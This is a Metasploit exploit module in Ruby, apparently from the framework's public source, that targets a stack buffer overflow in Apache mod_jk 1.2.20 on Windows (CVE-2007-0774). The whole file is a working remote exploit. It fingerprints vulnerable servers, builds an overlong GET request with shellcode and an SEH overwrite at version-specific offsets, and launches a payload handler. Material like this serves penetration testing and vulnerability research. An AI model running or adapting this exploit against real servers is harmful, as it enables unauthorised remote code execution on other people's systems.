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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Apache mod_jk 1.2.20 Buffer Overflow',
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      'Description'    => %q{
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          This is a stack buffer overflow exploit for mod_jk 1.2.20.
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        Should work on any Win32 OS.
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      },
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      'Author'         => 'Nicob <nicob[at]nicob.net>',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2007-0774' ],
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          [ 'OSVDB', '33855' ],
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          [ 'BID', '22791' ],
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          [ 'ZDI', '07-008' ]
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 4000,
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          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2f\x3b\x3f\x5c",
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          'DisableNops' => true
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          # POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)
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          ['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2007-03-02'))
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    register_options(
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      [
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        Opt::RPORT(80)
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      ])
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  end
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  def check
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    connect
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    sock.put("GET / HTTP/1.0\r\n\r\n")
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    resp = sock.get_once
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    disconnect
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      if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1\.2\.20/))) then
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        vprint_status("Apache version detected : #{m[1]}")
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        return Exploit::CheckCode::Appears
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      else
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        return Exploit::CheckCode::Safe
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      end
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  end
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  def exploit
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    connect
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    uri_start  = "GET /"
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    uri_end    = ".html HTTP/1.0\r\n\r\n"
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    sc_base    = 16
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    shellcode  = payload.encoded
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    sploit     = rand_text_alphanumeric(5001)
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    sploit[sc_base, shellcode.length] = shellcode
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    # 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.20
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    # 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.20
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    # 4423 : Apache/2.2.3  (Win32) mod_jk/1.2.20
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    [ 4343, 4407, 4423 ].each { |seh_offset|
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      sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
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      sploit[seh_offset - 4, 2] = "\xeb\xf9"
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      sploit[seh_offset    , 4] = [ target.ret ].pack('V')
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    }
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    print_status("Trying target #{target.name}...")
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    sock.put(uri_start + sploit + uri_end)
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    resp = sock.get_once
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    if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))
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      print_error("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")
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    end
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    handler
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    disconnect
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  end
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end
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